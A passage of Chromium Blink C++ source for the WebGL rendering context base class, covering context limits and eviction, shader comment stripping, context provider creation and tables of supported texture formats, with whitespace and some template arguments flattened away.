"third_party/blink/renderer/bindings/modules/v8/webgl_any.h" #include "third_party/blink/renderer/core/execution_context/execution_context.h" #include "third_party/blink/renderer/core/frame/dactyloscoper.h" #include "third_party/blink/renderer/core/frame/local_frame.h" #include "third_party/blink/renderer/core/frame/local_frame_client.h" #include "third_party/blink/renderer/core/frame/settings.h" #include "third_party/blink/renderer/core/html/canvas/canvas_rendering_context_host.h" #include "third_party/blink/renderer/core/html/canvas/html_canvas_element.h" #include "third_party/blink/renderer/core/html/canvas/image_data.h" #include "third_party/blink/renderer/core/html/html_image_element.h" #include "third_party/blink/renderer/core/html/media/html_video_element.h" #include "third_party/blink/renderer/core/imagebitmap/image_bitmap.h" #include "third_party/blink/renderer/core/inspector/console_message.h" #include "third_party/blink/renderer/core/layout/layout_box.h" #include "third_party/blink/renderer/core/origin_trials/origin_trials.h" #include "third_party/blink/renderer/core/probe/core_probes.h" #include "third_party/blink/renderer/core/svg/graphics/svg_image.h" #include "third_party/blink/renderer/core/typed_arrays/array_buffer/array_buffer_contents.h" #include "third_party/blink/renderer/core/typed_arrays/array_buffer_view_helpers.h" #include "third_party/blink/renderer/core/typed_arrays/dom_array_buffer.h" #include "third_party/blink/renderer/core/typed_arrays/dom_typed_array.h" #include "third_party/blink/renderer/core/typed_arrays/flexible_array_buffer_view.h" #include "third_party/blink/renderer/modules/webgl/angle_instanced_arrays.h" #include "third_party/blink/renderer/modules/webgl/ext_blend_min_max.h" #include "third_party/blink/renderer/modules/webgl/ext_frag_depth.h" #include "third_party/blink/renderer/modules/webgl/ext_shader_texture_lod.h" #include "third_party/blink/renderer/modules/webgl/ext_texture_filter_anisotropic.h" #include "third_party/blink/renderer/modules/webgl/gl_string_query.h" #include "third_party/blink/renderer/modules/webgl/oes_element_index_uint.h" #include "third_party/blink/renderer/modules/webgl/oes_standard_derivatives.h" #include "third_party/blink/renderer/modules/webgl/oes_texture_float.h" #include "third_party/blink/renderer/modules/webgl/oes_texture_float_linear.h" #include "third_party/blink/renderer/modules/webgl/oes_texture_half_float.h" #include "third_party/blink/renderer/modules/webgl/oes_texture_half_float_linear.h" #include "third_party/blink/renderer/modules/webgl/oes_vertex_array_object.h" #include "third_party/blink/renderer/modules/webgl/webgl_active_info.h" #include "third_party/blink/renderer/modules/webgl/webgl_buffer.h" #include "third_party/blink/renderer/modules/webgl/webgl_compressed_texture_astc.h" #include "third_party/blink/renderer/modules/webgl/webgl_compressed_texture_etc.h" #include "third_party/blink/renderer/modules/webgl/webgl_compressed_texture_etc1.h" #include "third_party/blink/renderer/modules/webgl/webgl_compressed_texture_pvrtc.h" #include "third_party/blink/renderer/modules/webgl/webgl_compressed_texture_s3tc.h" #include "third_party/blink/renderer/modules/webgl/webgl_compressed_texture_s3tc_srgb.h" #include "third_party/blink/renderer/modules/webgl/webgl_context_attribute_helpers.h" #include "third_party/blink/renderer/modules/webgl/webgl_context_event.h" #include "third_party/blink/renderer/modules/webgl/webgl_context_group.h" #include "third_party/blink/renderer/modules/webgl/webgl_debug_renderer_info.h" #include "third_party/blink/renderer/modules/webgl/webgl_debug_shaders.h" #include "third_party/blink/renderer/modules/webgl/webgl_depth_texture.h" #include "third_party/blink/renderer/modules/webgl/webgl_draw_buffers.h" #include "third_party/blink/renderer/modules/webgl/webgl_framebuffer.h" #include "third_party/blink/renderer/modules/webgl/webgl_lose_context.h" #include "third_party/blink/renderer/modules/webgl/webgl_program.h" #include "third_party/blink/renderer/modules/webgl/webgl_renderbuffer.h" #include "third_party/blink/renderer/modules/webgl/webgl_shader.h" #include "third_party/blink/renderer/modules/webgl/webgl_shader_precision_format.h" #include "third_party/blink/renderer/modules/webgl/webgl_uniform_location.h" #include "third_party/blink/renderer/modules/webgl/webgl_vertex_array_object.h" #include "third_party/blink/renderer/modules/webgl/webgl_vertex_array_object_oes.h" #include "third_party/blink/renderer/modules/webgl/webgl_video_texture.h" #include "third_party/blink/renderer/modules/webgl/webgl_video_texture_enum.h" #include "third_party/blink/renderer/platform/bindings/exception_state.h" #include "third_party/blink/renderer/platform/bindings/v8_binding_macros.h" #include "third_party/blink/renderer/platform/geometry/int_size.h" #include "third_party/blink/renderer/platform/graphics/accelerated_static_bitmap_image.h" #include "third_party/blink/renderer/platform/graphics/canvas_2d_layer_bridge.h" #include "third_party/blink/renderer/platform/graphics/canvas_resource_provider.h" #include "third_party/blink/renderer/platform/graphics/gpu/shared_gpu_context.h" #include "third_party/blink/renderer/platform/graphics/graphics_context.h" #include "third_party/blink/renderer/platform/heap/heap.h" #include "third_party/blink/renderer/platform/runtime_enabled_features.h" #include "third_party/blink/renderer/platform/scheduler/public/post_cross_thread_task.h" #include "third_party/blink/renderer/platform/wtf/cross_thread_functional.h" #include "third_party/blink/renderer/platform/wtf/functional.h" #include "third_party/blink/renderer/platform/wtf/text/string_builder.h" #include "third_party/blink/renderer/platform/wtf/text/string_utf8_adaptor.h" #include "third_party/blink/renderer/platform/wtf/threading_primitives.h" namespace blink { bool WebGLRenderingContextBase::webgl_context_limits_initialized_ = false; unsigned WebGLRenderingContextBase::max_active_webgl_contexts_ = 0; unsigned WebGLRenderingContextBase::max_active_webgl_contexts_on_worker_ = 0; namespace { constexpr base::TimeDelta kDurationBetweenRestoreAttempts = base::TimeDelta::FromSeconds(1); const int kMaxGLErrorsAllowedToConsole = 256; Mutex& WebGLContextLimitMutex() { DEFINE_THREAD_SAFE_STATIC_LOCAL(Mutex, mutex, ()); return mutex; } using WebGLRenderingContextBaseSet = HeapHashSet>; WebGLRenderingContextBaseSet& ActiveContexts() { DEFINE_THREAD_SAFE_STATIC_LOCAL( ThreadSpecific>, active_contexts, ()); Persistent& active_contexts_persistent = *active_contexts; if (!active_contexts_persistent) { active_contexts_persistent = MakeGarbageCollected(); active_contexts_persistent.RegisterAsStaticReference(); } return *active_contexts_persistent; } using WebGLRenderingContextBaseMap = HeapHashMap, int>; WebGLRenderingContextBaseMap& ForciblyEvictedContexts() { DEFINE_THREAD_SAFE_STATIC_LOCAL( ThreadSpecific>, forcibly_evicted_contexts, ()); Persistent& forcibly_evicted_contexts_persistent = *forcibly_evicted_contexts; if (!forcibly_evicted_contexts_persistent) { forcibly_evicted_contexts_persistent = MakeGarbageCollected(); forcibly_evicted_contexts_persistent.RegisterAsStaticReference(); } return *forcibly_evicted_contexts_persistent; } } // namespace ScopedRGBEmulationColorMask::ScopedRGBEmulationColorMask( WebGLRenderingContextBase* context, GLboolean* color_mask, DrawingBuffer* drawing_buffer) : context_(context), requires_emulation_(drawing_buffer->RequiresAlphaChannelToBePreserved()) { if (requires_emulation_) { context_->active_scoped_rgb_emulation_color_masks_++; memcpy(color_mask_, color_mask, 4 * sizeof(GLboolean)); context_->ContextGL()->ColorMask(color_mask_[0], color_mask_[1], color_mask_[2], false); } } ScopedRGBEmulationColorMask::~ScopedRGBEmulationColorMask() { if (requires_emulation_) { DCHECK(context_->active_scoped_rgb_emulation_color_masks_); context_->active_scoped_rgb_emulation_color_masks_--; context_->ContextGL()->ColorMask(color_mask_[0], color_mask_[1], color_mask_[2], color_mask_[3]); } } void WebGLRenderingContextBase::InitializeWebGLContextLimits( WebGraphicsContext3DProvider* context_provider) { MutexLocker locker(WebGLContextLimitMutex()); if (!webgl_context_limits_initialized_) { // These do not change over the lifetime of the browser. auto webgl_preferences = context_provider->GetWebglPreferences(); max_active_webgl_contexts_ = webgl_preferences.max_active_webgl_contexts; max_active_webgl_contexts_on_worker_ = webgl_preferences.max_active_webgl_contexts_on_worker; webgl_context_limits_initialized_ = true; } } unsigned WebGLRenderingContextBase::CurrentMaxGLContexts() { MutexLocker locker(WebGLContextLimitMutex()); DCHECK(webgl_context_limits_initialized_); return IsMainThread() ? max_active_webgl_contexts_ : max_active_webgl_contexts_on_worker_; } void WebGLRenderingContextBase::ForciblyLoseOldestContext( const String& reason) { WebGLRenderingContextBase* candidate = OldestContext(); if (!candidate) return; candidate->PrintWarningToConsole(reason); probe::DidFireWebGLWarning(candidate->canvas()); // This will call deactivateContext once the context has actually been lost. candidate->ForceLostContext(WebGLRenderingContextBase::kSyntheticLostContext, WebGLRenderingContextBase::kWhenAvailable); } WebGLRenderingContextBase* WebGLRenderingContextBase::OldestContext() { if (ActiveContexts().IsEmpty()) return nullptr; WebGLRenderingContextBase* candidate = *(ActiveContexts().begin()); DCHECK(!candidate->isContextLost()); for (WebGLRenderingContextBase* context : ActiveContexts()) { DCHECK(!context->isContextLost()); if (context->ContextGL()->GetLastFlushIdCHROMIUM() < candidate->ContextGL()->GetLastFlushIdCHROMIUM()) { candidate = context; } } return candidate; } WebGLRenderingContextBase* WebGLRenderingContextBase::OldestEvictedContext() { if (ForciblyEvictedContexts().IsEmpty()) return nullptr; WebGLRenderingContextBase* candidate = nullptr; int generation = -1; for (WebGLRenderingContextBase* context : ForciblyEvictedContexts().Keys()) { if (!candidate || ForciblyEvictedContexts().at(context) < generation) { candidate = context; generation = ForciblyEvictedContexts().at(context); } } return candidate; } void WebGLRenderingContextBase::ActivateContext( WebGLRenderingContextBase* context) { unsigned max_gl_contexts = CurrentMaxGLContexts(); unsigned removed_contexts = 0; while (ActiveContexts().size() >= max_gl_contexts && removed_contexts < max_gl_contexts) { ForciblyLoseOldestContext( "WARNING: Too many active WebGL contexts. Oldest context will be " "lost."); removed_contexts++; } DCHECK(!context->isContextLost()); ActiveContexts().insert(context); } void WebGLRenderingContextBase::DeactivateContext( WebGLRenderingContextBase* context) { ActiveContexts().erase(context); } void WebGLRenderingContextBase::AddToEvictedList( WebGLRenderingContextBase* context) { static int generation = 0; ForciblyEvictedContexts().Set(context, generation++); } void WebGLRenderingContextBase::RemoveFromEvictedList( WebGLRenderingContextBase* context) { ForciblyEvictedContexts().erase(context); } void WebGLRenderingContextBase::RestoreEvictedContext( WebGLRenderingContextBase* context) { // These two sets keep weak references to their contexts; // verify that the GC already removed the |context| entries. DCHECK(!ForciblyEvictedContexts().Contains(context)); DCHECK(!ActiveContexts().Contains(context)); unsigned max_gl_contexts = CurrentMaxGLContexts(); // Try to re-enable the oldest inactive contexts. while (ActiveContexts().size() < max_gl_contexts && ForciblyEvictedContexts().size()) { WebGLRenderingContextBase* evicted_context = OldestEvictedContext(); if (!evicted_context->restore_allowed_) { ForciblyEvictedContexts().erase(evicted_context); continue; } IntSize desired_size = DrawingBuffer::AdjustSize( evicted_context->ClampedCanvasSize(), IntSize(), evicted_context->max_texture_size_); // If there's room in the pixel budget for this context, restore it. if (!desired_size.IsEmpty()) { ForciblyEvictedContexts().erase(evicted_context); evicted_context->ForceRestoreContext(); } break; } } namespace { GLint Clamp(GLint value, GLint min, GLint max) { if (value < min) value = min; if (value > max) value = max; return value; } // Strips comments from shader text. This allows non-ASCII characters // to be used in comments without potentially breaking OpenGL // implementations not expecting characters outside the GLSL ES set. class StripComments { public: StripComments(const String& str) : parse_state_(kBeginningOfLine), source_string_(str), length_(str.length()), position_(0) { Parse(); } String Result() { return builder_.ToString(); } private: bool HasMoreCharacters() const { return (position_ < length_); } void Parse() { while (HasMoreCharacters()) { Process(Current()); // process() might advance the position. if (HasMoreCharacters()) Advance(); } } void Process(UChar); bool Peek(UChar& character) const { if (position_ + 1 >= length_) return false; character = source_string_[position_ + 1]; return true; } UChar Current() { SECURITY_DCHECK(position_ < length_); return source_string_[position_]; } void Advance() { ++position_; } static bool IsNewline(UChar character) { // Don't attempt to canonicalize newline related characters. return (character == '\n' || character == '\r'); } void Emit(UChar character) { builder_.Append(character); } enum ParseState { // Have not seen an ASCII non-whitespace character yet on // this line. Possible that we might see a preprocessor // directive. kBeginningOfLine, // Have seen at least one ASCII non-whitespace character // on this line. kMiddleOfLine, // Handling a preprocessor directive. Passes through all // characters up to the end of the line. Disables comment // processing. kInPreprocessorDirective, // Handling a single-line comment. The comment text is // replaced with a single space. kInSingleLineComment, // Handling a multi-line comment. Newlines are passed // through to preserve line numbers. kInMultiLineComment }; ParseState parse_state_; String source_string_; unsigned length_; unsigned position_; StringBuilder builder_; }; void StripComments::Process(UChar c) { if (IsNewline(c)) { // No matter what state we are in, pass through newlines // so we preserve line numbers. Emit(c); if (parse_state_ != kInMultiLineComment) parse_state_ = kBeginningOfLine; return; } UChar temp = 0; switch (parse_state_) { case kBeginningOfLine: if (WTF::IsASCIISpace(c)) { Emit(c); break; } if (c == '#') { parse_state_ = kInPreprocessorDirective; Emit(c); break; } // Transition to normal state and re-handle character. parse_state_ = kMiddleOfLine; Process(c); break; case kMiddleOfLine: case kInPreprocessorDirective: if (c == '/' && Peek(temp)) { if (temp == '/') { parse_state_ = kInSingleLineComment; Emit(' '); Advance(); break; } if (temp == '*') { parse_state_ = kInMultiLineComment; // Emit the comment start in case the user has // an unclosed comment and we want to later // signal an error. Emit('/'); Emit('*'); Advance(); break; } } Emit(c); break; case kInSingleLineComment: // Line-continuation characters are processed before comment processing. // Advance string if a new line character is immediately behind // line-continuation character. if (c == '\\') { if (Peek(temp) && IsNewline(temp)) Advance(); } // The newline code at the top of this function takes care // of resetting our state when we get out of the // single-line comment. Swallow all other characters. break; case kInMultiLineComment: if (c == '*' && Peek(temp) && temp == '/') { Emit('*'); Emit('/'); parse_state_ = kMiddleOfLine; Advance(); break; } // Swallow all other characters. Unclear whether we may // want or need to just emit a space per character to try // to preserve column numbers for debugging purposes. break; } } static bool g_should_fail_context_creation_for_testing = false; } // namespace class ScopedTexture2DRestorer { STACK_ALLOCATED(); public: explicit ScopedTexture2DRestorer(WebGLRenderingContextBase* context) : context_(context) {} ~ScopedTexture2DRestorer() { context_->RestoreCurrentTexture2D(); } private: WebGLRenderingContextBase* context_; }; class ScopedFramebufferRestorer { STACK_ALLOCATED(); public: explicit ScopedFramebufferRestorer(WebGLRenderingContextBase* context) : context_(context) {} ~ScopedFramebufferRestorer() { context_->RestoreCurrentFramebuffer(); } private: WebGLRenderingContextBase* context_; }; class ScopedUnpackParametersResetRestore { STACK_ALLOCATED(); public: explicit ScopedUnpackParametersResetRestore( WebGLRenderingContextBase* context, bool enabled = true) : context_(context), enabled_(enabled) { if (enabled) context_->ResetUnpackParameters(); } ~ScopedUnpackParametersResetRestore() { if (enabled_) context_->RestoreUnpackParameters(); } private: WebGLRenderingContextBase* context_; bool enabled_; }; static void FormatWebGLStatusString(const StringView& gl_info, const StringView& info_string, StringBuilder& builder) { if (info_string.IsEmpty()) return; builder.Append(", "); builder.Append(gl_info); builder.Append(" = "); builder.Append(info_string); } static String ExtractWebGLContextCreationError( const Platform::GraphicsInfo& info) { StringBuilder builder; builder.Append("Could not create a WebGL context"); FormatWebGLStatusString( "VENDOR", info.vendor_id ? String::Format("0x%04x", info.vendor_id) : "0xffff", builder); FormatWebGLStatusString( "DEVICE", info.device_id ? String::Format("0x%04x", info.device_id) : "0xffff", builder); FormatWebGLStatusString("GL_VENDOR", info.vendor_info, builder); FormatWebGLStatusString("GL_RENDERER", info.renderer_info, builder); FormatWebGLStatusString("GL_VERSION", info.driver_version, builder); FormatWebGLStatusString("Sandboxed", info.sandboxed ? "yes" : "no", builder); FormatWebGLStatusString("Optimus", info.optimus ? "yes" : "no", builder); FormatWebGLStatusString("AMD switchable", info.amd_switchable ? "yes" : "no", builder); FormatWebGLStatusString( "Reset notification strategy", String::Format("0x%04x", info.reset_notification_strategy).Utf8().c_str(), builder); FormatWebGLStatusString("ErrorMessage", info.error_message.Utf8().c_str(), builder); builder.Append('.'); return builder.ToString(); } struct ContextProviderCreationInfo { // Inputs. Platform::ContextAttributes context_attributes; Platform::GraphicsInfo* gl_info; KURL url; // Outputs. std::unique_ptr created_context_provider; bool* using_gpu_compositing; }; static void CreateContextProviderOnMainThread( ContextProviderCreationInfo* creation_info, base::WaitableEvent* waitable_event) { DCHECK(IsMainThread()); // Ask for gpu compositing mode when making the context. The context will be // lost if the mode changes. *creation_info->using_gpu_compositing = !Platform::Current()->IsGpuCompositingDisabled(); creation_info->created_context_provider = Platform::Current()->CreateOffscreenGraphicsContext3DProvider( creation_info->context_attributes, creation_info->url, creation_info->gl_info); waitable_event->Signal(); } static std::unique_ptr CreateContextProviderOnWorkerThread( Platform::ContextAttributes context_attributes, Platform::GraphicsInfo* gl_info, bool* using_gpu_compositing, const KURL& url) { base::WaitableEvent waitable_event; ContextProviderCreationInfo creation_info; creation_info.context_attributes = context_attributes; creation_info.gl_info = gl_info; creation_info.url = url.Copy(); creation_info.using_gpu_compositing = using_gpu_compositing; scoped_refptr task_runner = Thread::MainThread()->GetTaskRunner(); PostCrossThreadTask( *task_runner, FROM_HERE, CrossThreadBindOnce(&CreateContextProviderOnMainThread, CrossThreadUnretained(&creation_info), CrossThreadUnretained(&waitable_event))); waitable_event.Wait(); return std::move(creation_info.created_context_provider); } bool WebGLRenderingContextBase::SupportOwnOffscreenSurface( ExecutionContext* execution_context) { // Using an own offscreen surface disables virtualized contexts, and this // doesn't currently work properly, see https://crbug.com/691102. // TODO(https://crbug.com/791755): Remove this function and related code once // the replacement is ready. return false; } std::unique_ptr WebGLRenderingContextBase::CreateContextProviderInternal( CanvasRenderingContextHost* host, const CanvasContextCreationAttributesCore& attributes, Platform::ContextType context_type, bool* using_gpu_compositing) { DCHECK(host); ExecutionContext* execution_context = host->GetTopExecutionContext(); DCHECK(execution_context); Platform::ContextAttributes context_attributes = ToPlatformContextAttributes( attributes, context_type, SupportOwnOffscreenSurface(execution_context)); Platform::GraphicsInfo gl_info; std::unique_ptr context_provider; const auto& url = execution_context->Url(); if (IsMainThread()) { // Ask for gpu compositing mode when making the context. The context will be // lost if the mode changes. *using_gpu_compositing = !Platform::Current()->IsGpuCompositingDisabled(); context_provider = Platform::Current()->CreateOffscreenGraphicsContext3DProvider( context_attributes, url, &gl_info); } else { context_provider = CreateContextProviderOnWorkerThread( context_attributes, &gl_info, using_gpu_compositing, url); } if (context_provider && !context_provider->BindToCurrentThread()) { context_provider = nullptr; gl_info.error_message = String("bindToCurrentThread failed: " + String(gl_info.error_message)); } if (!context_provider || g_should_fail_context_creation_for_testing) { g_should_fail_context_creation_for_testing = false; host->HostDispatchEvent( WebGLContextEvent::Create(event_type_names::kWebglcontextcreationerror, ExtractWebGLContextCreationError(gl_info))); return nullptr; } gpu::gles2::GLES2Interface* gl = context_provider->ContextGL(); if (!String(gl->GetString(GL_EXTENSIONS)) .Contains("GL_OES_packed_depth_stencil")) { host->HostDispatchEvent(WebGLContextEvent::Create( event_type_names::kWebglcontextcreationerror, "OES_packed_depth_stencil support is required.")); return nullptr; } return context_provider; } std::unique_ptr WebGLRenderingContextBase::CreateWebGraphicsContext3DProvider( CanvasRenderingContextHost* host, const CanvasContextCreationAttributesCore& attributes, Platform::ContextType context_type, bool* using_gpu_compositing) { // The host might block creation of a new WebGL context despite the // page settings; in particular, if WebGL contexts were lost one or // more times via the GL_ARB_robustness extension. if (host->IsWebGLBlocked()) { host->SetContextCreationWasBlocked(); host->HostDispatchEvent(WebGLContextEvent::Create( event_type_names::kWebglcontextcreationerror, "Web page caused context loss and was blocked")); return nullptr; } if ((context_type == Platform::kWebGL1ContextType && !host->IsWebGL1Enabled()) || (context_type == Platform::kWebGL2ContextType && !host->IsWebGL2Enabled()) || (context_type == Platform::kWebGL2ComputeContextType && !host->IsWebGL2Enabled())) { host->HostDispatchEvent(WebGLContextEvent::Create( event_type_names::kWebglcontextcreationerror, "disabled by enterprise policy or commandline switch")); return nullptr; } return CreateContextProviderInternal(host, attributes, context_type, using_gpu_compositing); } void WebGLRenderingContextBase::ForceNextWebGLContextCreationToFail() { g_should_fail_context_creation_for_testing = true; } ImageBitmap* WebGLRenderingContextBase::TransferToImageBitmapBase( ScriptState* script_state) { WebFeature feature = WebFeature::kOffscreenCanvasTransferToImageBitmapWebGL; UseCounter::Count(ExecutionContext::From(script_state), feature); return MakeGarbageCollected( GetDrawingBuffer()->TransferToStaticBitmapImage()); } void WebGLRenderingContextBase::commit() { if (!GetDrawingBuffer() || (Host() && Host()->IsOffscreenCanvas())) return; int width = GetDrawingBuffer()->Size().Width(); int height = GetDrawingBuffer()->Size().Height(); if (PaintRenderingResultsToCanvas(kBackBuffer)) { if (Host()->GetOrCreateCanvasResourceProvider(kPreferAcceleration)) { Host()->Commit(Host()->ResourceProvider()->ProduceCanvasResource(), SkIRect::MakeWH(width, height)); } } MarkLayerComposited(); } scoped_refptr WebGLRenderingContextBase::GetImage( AccelerationHint hint) { if (!GetDrawingBuffer()) return nullptr; ScopedFramebufferRestorer fbo_restorer(this); GetDrawingBuffer()->ResolveAndBindForReadAndDraw(); // Use the drawing buffer size here instead of the canvas size to ensure that // sizing is consistent. The forced downsizing logic in Reshape() can lead to // the drawing buffer being smaller than the canvas size. // See https://crbug.com/845742. IntSize size = GetDrawingBuffer()->Size(); // Since we are grabbing a snapshot that is not for compositing, we use a // custom resource provider. This avoids consuming compositing-specific // resources (e.g. GpuMemoryBuffer) std::unique_ptr resource_provider = CanvasResourceProvider::Create( size, CanvasResourceProvider::ResourceUsage::kAcceleratedResourceUsage, SharedGpuContext::ContextProviderWrapper(), 0, GetDrawingBuffer()->FilterQuality(), ColorParams(), CanvasResourceProvider::kDefaultPresentationMode, nullptr /* canvas_resource_dispatcher */, is_origin_top_left_); if (!resource_provider || !resource_provider->IsValid()) return nullptr; if (!CopyRenderingResultsFromDrawingBuffer(resource_provider.get(), kBackBuffer)) { // copyRenderingResultsFromDrawingBuffer is expected to always succeed // because we've explicitly created an Accelerated surface and have // already validated it. NOTREACHED(); return nullptr; } return resource_provider->Snapshot(); } ScriptPromise WebGLRenderingContextBase::makeXRCompatible( ScriptState* script_state, ExceptionState& exception_state) { if (isContextLost()) { exception_state.ThrowDOMException(DOMExceptionCode::kInvalidStateError, "Context lost."); return ScriptPromise(); } if (xr_compatible_) { // Returns a script promise resolved with undefined. return ScriptPromise::CastUndefined(script_state); } if (ContextCreatedOnXRCompatibleAdapter()) { xr_compatible_ = true; return ScriptPromise::CastUndefined(script_state); } // TODO(http://crbug.com/876140) Trigger context loss and recreate on // compatible GPU. exception_state.ThrowDOMException( DOMExceptionCode::kNotSupportedError, "Context is not compatible. Switching not yet implemented."); return ScriptPromise(); } bool WebGLRenderingContextBase::IsXRCompatible() { return xr_compatible_; } void WebGLRenderingContextBase:: UpdateNumberOfUserAllocatedMultisampledRenderbuffers(int delta) { DCHECK(delta >= -1 && delta <= 1); number_of_user_allocated_multisampled_renderbuffers_ += delta; DCHECK_GE(number_of_user_allocated_multisampled_renderbuffers_, 0); } namespace { // Exposed by GL_ANGLE_depth_texture static const GLenum kSupportedInternalFormatsOESDepthTex[] = { GL_DEPTH_COMPONENT, GL_DEPTH_STENCIL, }; // Exposed by GL_EXT_sRGB static const GLenum kSupportedInternalFormatsEXTsRGB[] = { GL_SRGB, GL_SRGB_ALPHA_EXT, }; // ES3 enums supported by both CopyTexImage and TexImage. static const GLenum kSupportedInternalFormatsES3[] = { GL_R8, GL_RG8, GL_RGB565, GL_RGB8, GL_RGBA4, GL_RGB5_A1, GL_RGBA8, GL_RGB10_A2, GL_RGB10_A2UI, GL_SRGB8, GL_SRGB8_ALPHA8, GL_R8I, GL_R8UI, GL_R16I, GL_R16UI, GL_R32I, GL_R32UI, GL_RG8I, GL_RG8UI, GL_RG16I, GL_RG16UI, GL_RG32I, GL_RG32UI, GL_RGBA8I, GL_RGBA8UI, GL_RGBA16I, GL_RGBA16UI, GL_RGBA32I, GL_RGBA32UI, GL_RGB32I, GL_RGB32UI, GL_RGB8I, GL_RGB8UI, GL_RGB16I, GL_RGB16UI, }; // ES3 enums only supported by TexImage static const GLenum kSupportedInternalFormatsTexImageES3[] = { GL_R8_SNORM, GL_R16F, GL_R32F, GL_RG8_SNORM, GL_RG16F, GL_RG32F, GL_RGB8_SNORM, GL_R11F_G11F_B10F, GL_RGB9_E5, GL_RGB16F, GL_RGB32F, GL_RGBA8_SNORM, GL_RGBA16F, GL_RGBA32F, GL_DEPTH_COMPONENT16, GL_DEPTH_COMPONENT24, GL_DEPTH_COMPONENT32F, GL_DEPTH24_STENCIL8, GL_DEPTH32F_STENCIL8, }; // Exposed by EXT_texture_norm16 static constexpr GLenum kSupportedInternalFormatsEXTTextureNorm16ES3[] = { GL_R16_EXT, GL_RG16_EXT, GL_RGB16_EXT, GL_RGBA16_EXT, GL_R16_SNORM_EXT, GL_RG16_SNORM_EXT, GL_RGB16_SNORM_EXT, GL_RGBA16_SNORM_EXT}; static constexpr GLenum kSupportedFormatsEXTTextureNorm16ES3[] = {GL_RED, GL_RG}; static constexpr GLenum kSupportedTypesEXTTextureNorm16ES3[] = { GL_SHORT, GL_UNSIGNED_SHORT}; // Exposed by EXT_color_buffer_float static const GLenum kSupportedInternalFormatsCopyTexImageFloatES3[] = { GL_R16F, GL_R32F, GL_RG16F, GL_RG32F, GL_RGB16F, GL_RGB32F, GL_RGBA16F, GL_RGBA32F, GL_R11F_G11F_B10F}; // ES3 enums supported by TexImageSource static const GLenum kSupportedInternalFormatsTexImageSourceES3[] = { GL_R8, GL_R16F, GL_R32F, GL_R8UI, GL_RG8, GL_RG16F, GL_RG32F, GL_RG8UI, GL_RGB8, GL_SRGB8, GL_RGB565, GL_R11F_G11F_B10F, GL_RGB9_E5, GL_RGB16F, GL_RGB32F, GL_RGB8UI, GL_RGBA8, GL_SRGB8_ALPHA8, GL_RGB5_A1, GL_RGBA4, GL_RGBA16F, GL_RGBA32F, GL_RGBA8UI, GL_RGB10_A2, }; // ES2 enums // Internalformat must equal format in ES2. static const GLenum kSupportedFormatsES2[] = { GL_RGB, GL_RGBA, GL_LUMINANCE_ALPHA, GL_LUMINANCE, GL_ALPHA, }; // Exposed by GL_ANGLE_depth_texture static const GLenum kSupportedFormatsOESDepthTex[] = { GL_DEPTH_COMPONENT, GL_DEPTH_STENCIL, }; // Exposed by GL_EXT_sRGB static const GLenum kSupportedFormatsEXTsRGB[] = { GL_SRGB, GL_SRGB_ALPHA_EXT, }; // ES3 enums static const GLenum kSupportedFormatsES3[] = { GL_RED, GL_RED_INTEGER, GL_RG, GL_RG_INTEGER, GL_RGB, GL_RGB_INTEGER, GL_RGBA, GL_RGBA_INTEGER, GL_DEPTH_COMPONENT, GL_DEPTH_STENCIL, }; // ES3 enums supported by TexImageSource static const GLenum kSupportedFormatsTexImageSourceES3[] = { GL_RED, GL_RED_INTEGER, GL_RG, GL_RG_INTEGER, GL_RGB, GL_RGB_INTEGER, GL_RGBA, GL_RGBA_INTEGER, }; // ES2 enums static const GLenum kSupportedTypesES2[] = { GL_UNSIGNED_BYTE, GL_UNSIGNED_SHORT_5_6_5, GL_UNSIGNED_SHORT_4_4_4_4, GL_UNSIGNED_SHORT_5_5_5_1, }; // Exposed by GL_OES_texture_float static const GLenum kSupportedTypesOESTexFloat[] = { GL_FLOAT, }; // Exposed by GL_OES_texture_half_float static const GLenum kSupportedTypesOESTexHalfFloat[] = { GL_HALF_FLOAT_OES, }; // Exposed by GL_ANGLE_depth_texture static const GLenum kSupportedTypesOESDepthTex[] = { GL_UNSIGNED_SHORT, GL_UNSIGNED_INT, GL_UNSIGNED_INT_24_8, }; // ES3 enums static const GLenum kSupportedTypesES3[] = { GL_BYTE, GL_UNSIGNED_SHORT, GL_SHORT, GL_UNSIGNED_INT, GL_INT, GL_HALF_FLOAT, GL_FLOAT, GL_UNSIGNED_INT_2_10_10_10_REV, GL_UNSIGNED_INT_10F_11F_11F_REV, GL_UNSIGNED_INT_5_9_9_9_REV, GL_UNSIGNED_INT_24_8, GL_FLOAT_32_UNSIGNED_INT_24_8_REV, }; // ES3 enums supported by TexImageSource static const GLenum kSupportedTypesTexImageSourceES3[] = { GL_HALF_FLOAT, GL_FLOAT, GL_UNSIGNED_INT_10F_11F_11F_REV, GL_UNSIGNED_INT_2_10_10_10_REV, }; } // namespace WebGLRenderingContextBase::WebGLRenderingContextBase( CanvasRenderingContextHost* host, std::unique_ptr context_provider, bool using_gpu_compositing, const CanvasContextCreationAttributesCore& requested_attributes, Platform::ContextType version) : WebGLRenderingContextBase( host, host->GetTopExecutionContext()->GetTaskRunner(TaskType::kWebGL), std::move(context_provider), using_gpu_compositing, requested_attributes, version) {} WebGLRenderingContextBase::WebGLRenderingContextBase( CanvasRenderingContextHost* host, scoped_refptr task_runner, std::unique_ptr context_provider, bool using_gpu_compositing, const CanvasContextCreationAttributesCore& requested_attributes, Platform::ContextType context_type) : CanvasRenderingContext(host, requested_attributes), context_group_(MakeGarbageCollected()), dispatch_context_lost_event_timer_( task_runner, this, &WebGLRenderingContextBase::DispatchContextLostEvent), restore_timer_(task_runner, this, &WebGLRenderingContextBase::MaybeRestoreContext), task_runner_(task_runner), num_gl_errors_to_console_allowed_(kMaxGLErrorsAllowedToConsole), context_type_(context_type), program_completion_queries_( base::MRUCache::NO_AUTO_EVICT), feature_handle_for_scheduler_( host->GetTopExecutionContext()->GetScheduler()->RegisterFeature( SchedulingPolicy::Feature::kWebGL, {SchedulingPolicy::RecordMetricsForBackForwardCache()})), number_of_user_allocated_multisampled_renderbuffers_(0) { DCHECK(context_provider); // TODO(http://crbug.com/876140) Make sure this is being created on a // compatible adapter. xr_compatible_ = requested_attributes.xr_compatible; context_group_->AddContext(this); max_viewport_dims_[0] = max_viewport_dims_[1] = 0; context_provider->ContextGL()->GetIntegerv(GL_MAX_VIEWPORT_DIMS, max_viewport_dims_); InitializeWebGLContextLimits(context_provider.get()); scoped_refptr buffer; buffer = CreateDrawingBuffer(std::move(context_provider), using_gpu_compositing); if (!buffer) { context_lost_mode_ = kSyntheticLostContext; return; } drawing_buffer_ = std::move(buffer); GetDrawingBuffer()->Bind(GL_FRAMEBUFFER); SetupFlags(); String disabled_webgl_extensions(GetDrawingBuffer() ->ContextProvider() ->GetGpuFeatureInfo() 